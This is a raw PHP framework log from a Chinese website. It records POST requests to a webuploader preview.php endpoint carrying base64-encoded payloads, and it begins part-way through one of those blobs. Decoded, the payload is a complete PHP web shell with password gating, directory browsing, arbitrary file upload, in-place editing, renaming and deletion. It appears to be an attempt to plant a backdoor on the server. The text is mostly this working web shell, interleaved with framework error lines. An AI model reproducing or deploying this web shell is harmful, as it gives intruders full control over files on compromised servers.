2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:13+08:00 ] 119.42.146.234 POST 51tianwei.com/services/cepingka/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002658s] [吞吐率:376.20req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgK